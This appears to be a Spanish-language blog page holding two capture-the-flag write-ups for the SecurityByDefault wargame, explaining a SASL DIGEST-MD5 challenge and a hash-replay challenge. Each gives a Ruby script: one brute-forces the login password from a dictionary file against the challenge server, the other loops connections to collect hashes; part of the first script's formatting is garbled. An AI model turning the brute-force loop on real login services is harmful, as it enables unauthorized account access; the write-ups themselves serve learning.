En caso de emergencia, taladrar aquí

Solución al reto zeropwn #wgsbd2

  • July 20, 2011
  • tuxotron
  • hashkey.jpg

    Esta prueba, como parecía de las difíciles no la intenté hasta que vi que pusieron una pista :). Y vaya pista, el código fuente del programa que actuaba de servidor y un fichero de texto con muuuuuchas palabras. El típico fichero diccionario de claves.

    Lo que teníamos era un servicio escuchando por el puerto 8008 en wargame.securitybydefault.com. Cuando nos conectábamos a dicho puerto recibíamos algo como:

    DIGEST-MD5bm9uY2U9IjEzMTExMzA1NzAiLHFvcD0iYXV0aCIsY2hhcnNldD11dGYtOCxh
    bGdvcml0aG09bWQ1LXNlc3M=
    

    El servidor nos está mandando algo codificado en Base64.

    bm9uY2U9IjEzMTExMjI3OTMiLHFvcD0iYXV0aCIsY2hhcnNldD11dGYtOCxhbGdvcml0aG09bWQ1LXNlc3M=

    Si lo decodificamos, obtenemos:

    nonce="1311122793",qop="auth",charset=utf-8,algorithm=md5-sess

    Si miramos el código fuente del servidor, vemos que los campos qop, charset y algorithm son constantes. El único campo que es variable es nonce, que es el tiempo (en segundos) en el que el servidor nos manda el mensaje. Como veremos más adelante, será el único valor que tenemos que sacar de la primera respuesta que recibimos.

    Una vez el servidor nos manda los datos arriba mencionados, espera respuesta por nuestra parte. De nuevo, mirando el código fuente del servidor, vemos que lo que espera es una cadena de texto codificada a Base64 con la siguiente estructura:

    username="zero_cool",realm="war.game.sbd",nonce="XXXX",cnonce="XXXX",nc="XXX",qop="auth",digest-uri="xmpp/war.game.sbd",response="XXX",charset="utf-8"

    Expliquemos cada campo:

    El username debe ser zero_cool, este dato se nos daba como parte inicial del reto.

    El realm lo podemos sacar de la respuesta inicial (……), aunque al ser un valor constante, lo usaremos como tal en nuestro script.

    El campo nonce como dije antes es variable y lo tenemos que sacar de la primera respuesta del servidor. Este es el código que usaremos para extraer dicho dato:

    chal = xml.xpath("//challenge").text
    dec_chal = Base64.decode64(chal)
    nonce = dec_chal.split(",")[0].split("=")[1].gsub("\"","")

    Los campos cnonce y nc son dos datos que manda el cliente y que el servidor usa como tales, así que podemos mandarle lo que queramos. Los únicos requisitos son que cnonce debe ser del tipo numérico y nc del tipo texto.

    Los campos qop, digest-uri y charset, de nuevo deben tener los valores que mostramos más arriba, puesto que son los valores que espera el servidor.

    Y por último tenemos el campo response, que es el que tiene más miga de todos y es donde vamos a mandar nuestro password. Para calcular este campo tomé prestada la función que usa el servidor :) para comparar lo que mandamos. La función tiene esta pinta:

    def sasl_md5_chall(uname, pass, realm, nonce, cnonce, nc, digest_uri, qop)
    
        hA1data = Digest::MD5.digest("#{uname}:#{realm}:#{pass}")
        hA1data = hA1data + ":#{nonce}:#{cnonce}".force_encoding("UTF-8")
        hA1 = Digest::MD5.hexdigest(hA1data)
        hA2 = Digest::MD5.hexdigest("AUTHENTICATE:#{digest_uri}")
        hash = Digest::MD5.hexdigest("#{hA1}:#{nonce}:#{nc}:#{cnonce}:#{qop}:#{hA2}")
    
        return hash
    end

    Como podemos ver, tenemos todos los parámetros que la función espera, menos la contraseña (pass). Aquí es donde entra en juego el fichero de passwords que os comenté al principio.

    Veamos un ejemplo de la cadena que tendríamos que mandar con el password 12345 y nonce = 1311128886:

    ddXNlcm5hbWU9Inplcm9fY29vbCIscmVhbG09Indhci5nYW1lLnNiZCIsbm9u
    Y2U9IjEzMTExMjg4ODYiLGNub25jZT0iMSIsbmM9IjEiLHFvcD0iYXV0aCIs
    ZGlnZXN0LXVyaT0ieG1wcC93YXIuZ2FtZS5zYmQiLHJlc3BvbnNlPSI4ZTlh
    Yzc5YzFiNjViMmQ0Yjk2NDE2MWYwYTk2YmNjMCIsY2hhcnNldD0idXRmLTgi

    Y si el password es incorrecto el servidor respondería con:

    Invalid password, keep trying

    Y si fuera correcto:

    XXXXXXXXXXX

    Donde las Xs será nuestro token codificado en Base64.

    En resumidas cuentas, lo que tenemos que hacer es:

    1. Leer password del fichero de texto
    2. Conectamos al servidor
    3. Leemos la primera respuesta para sacar el valor de nonce
    4. Preparar y mandar nuestra respuesta
    5. Si el servidor responde con <error> volver a empezar con el siguiente password
    6. Si responde con success decodificar el texto en Base64 y ya tenemos nuestro token.
    Este es el script que yo usé:
    #!/usr/bin/env ruby
    

    require ’nokogiri' require “digest/md5” require “socket” require “base64” require “timeout”

    $server = “wargame.securitybydefault.com” $port = “8008” $login_user = “zero_cool” $login_pass = “12345” $realm = “war.game.sbd” $qop = “auth” $charset = “utf-8” $digest_uri = “xmpp/war.game.sbd” $cnonce = 1 $nc = “1”

    def sasl_md5_chall(uname, pass, realm, nonce, cnonce, nc, digest_uri, qop)

    hA1data = Digest::MD5.digest("#{uname}:#{realm}:#{pass}")
    hA1data = hA1data + ":#{nonce}:#{cnonce}".force_encoding("UTF-8")
    hA1 = Digest::MD5.hexdigest(hA1data)
    hA2 = Digest::MD5.hexdigest("AUTHENTICATE:#{digest_uri}")
    hash = Digest::MD5.hexdigest("#{hA1}:#{nonce}:#{nc}:#{cnonce}:#{qop}:#{hA2}")
    
    return hash
    

    end

    def check(pass) s = TCPSocket.open($server, $port) response = s.gets response += s.gets

    xml = Nokogiri::HTML(response)
    
    chal = xml.xpath("//challenge").text
    dec_chal = Base64.decode64(chal)
    nonce = dec_chal.split(",")[0].split("=")[1].gsub("\"","")
    
    hashed_resp = sasl_md5_chall($login_user, pass, $realm, nonce, $cnonce, $nc, $digest_uri, $qop)
    
    resp_back = "username=\"zero_cool\",realm=\"war.game.sbd\",nonce=\"#{nonce}\",cnonce=\"#{$cnonce}\",nc=\"#{$nc}\",qop=\"auth\",digest-uri=\"xmpp/war.game.sbd\",response=\"#{hashed_resp}\",charset=\"utf-8\""
    
    resp_back2 = "<response>"+Base64.encode64(resp_back)+"</response>"
    s.write resp_back2 + "\n"
    response = ""
    while l = s.gets
    	response += l
    end
    return response
    

    end

    f = File.new(“password.txt”, “r”) while (line = f.gets) $user_pass = line.chop puts “Trying: #{$user_pass}” result = check(line.chop) puts result if result.include?(‘success’) then puts result break end end f.close

    Para concluir, decir que el password correcto era: unix y la repuesta recibida fue:

    SGVyZSBpcyB5b3VyIGRhbW4gZmxhZzogSV9Mb1ZlX0FuZ2VsaW5hX0owTGllXw==

    Y si decodificamos la cadena de texto obtenemos:

    Here is your damn flag: I_LoVe_Angelina_J0Lie_

Solución al reto stealthehash #wgsbd2

  • July 19, 2011
  • tuxotron
  • Selection_002.png

    Esta prueba consistía en conectarse al puerto 2011 de wargame.securitybydefault.com. Nos daban una pista: r3ady_for_the_n3xt_hash.

    Cuando nos conectabamos:

    nc wargame.securitybydefault.com 2011

    El sistema se quedaba esperando a que le mandáramos algo. Buenos, empecemos con el dato que nos dan:

    r3ady_for_the_n3xt_hash

    Después de introducir ese dato, el sistema nos devolvía un hash y de nuevo se quedaba esperando a que le introdujéramos algo (no seas mal pensado). Si pulsabas la tecla enter, recibiamos algo como:

    Bad key, the next hash is: XXXXX

    Donde las Xs eran un hash, entonces se cerraba la conexión.

    La idea era, conectarse al servidor, mandar la cadena: r3ady_for_the_n3xt_hash, apuntar el hash que de daba el servidor y básicamente empezar de nuevo. Así con cada iteración teníamos un hash nuevo. Los hashes tenías que irlos metiendo en el mismo orden que te los daba el servidor. La pregunta era ¿Cuántos hashes va a estar escupiendo el servidor? Ni idea, hasta que diga algo distinto de “Bad key….”.

    Para resolver este reto nada como un script:

    #!/usr/bin/env ruby
    
    require 'socket'
    
    hostname = 'wargame.securitybydefault.com'
    port = 2011
    
    while 
    	s = TCPSocket.open(hostname, port)
    	s.write("r3ady_for_the_n3xt_hash\n")
    	res = s.gets
    
    	f = File.new("hashes", "r+")
    	while (line = f.gets)
    		puts "sending: #{line}"
    		s.puts line
    		sleep 0.3
    	end 
    
    	s.puts "a"
    	res = s.gets
    	puts res
    	if res.include?("Bad key") then
    		key = res[21..res.length-1]
    	else
    		break
    	end
    	puts "key: #{key}"
    	f.puts key.chop
    	f.close
    end

    Este script hace básicamente he explicado arriba. Se conecta, manda “r3ady_for_the_n3xt_hash” y empieza a mandar los hashes (que guardamos en el fichero de texto “hashes”) que el servidor nos ha dado previamente hasta que se acaben, entonces mandamos algo (una “a” en nuestro caso), el servidor nos dará un nuevo hash, lo guardamos en nuestro fichero de texto y empezamos de nuevo. Así hasta que el servidor responda con algo distinto de “Bad key…”.

    Al principio empecé a usar un Array para guardar los hashes, pero de vez en cuando perdía la conexión con el servidor y tenía que empezar todo el proceso de nuevo, así que tuve que usar un fichero de texto para guardar los hashed y así poder re-usarlos, en caso de pérdida de la conexión.

    También me pasó algo curioso. En cierto punto del proceso, cuando tenía unos 90 hashes, el proceso siempre se desconectaba. Hasta que me di cuenta, que el último hash almacenado, en el cual el proceso rompía, era igual que el primero. Por suerte borrando ese hash del fichero, todo volvió a la normalidad y después de 150 hashes, el servidor por fin soltó el token:

    OMG_all_hash3s_h4s_b33n_L34K3D!!!!

    Para los curiosos, en la imagen de más arriba podéis ver los primeros y los últimos hashes.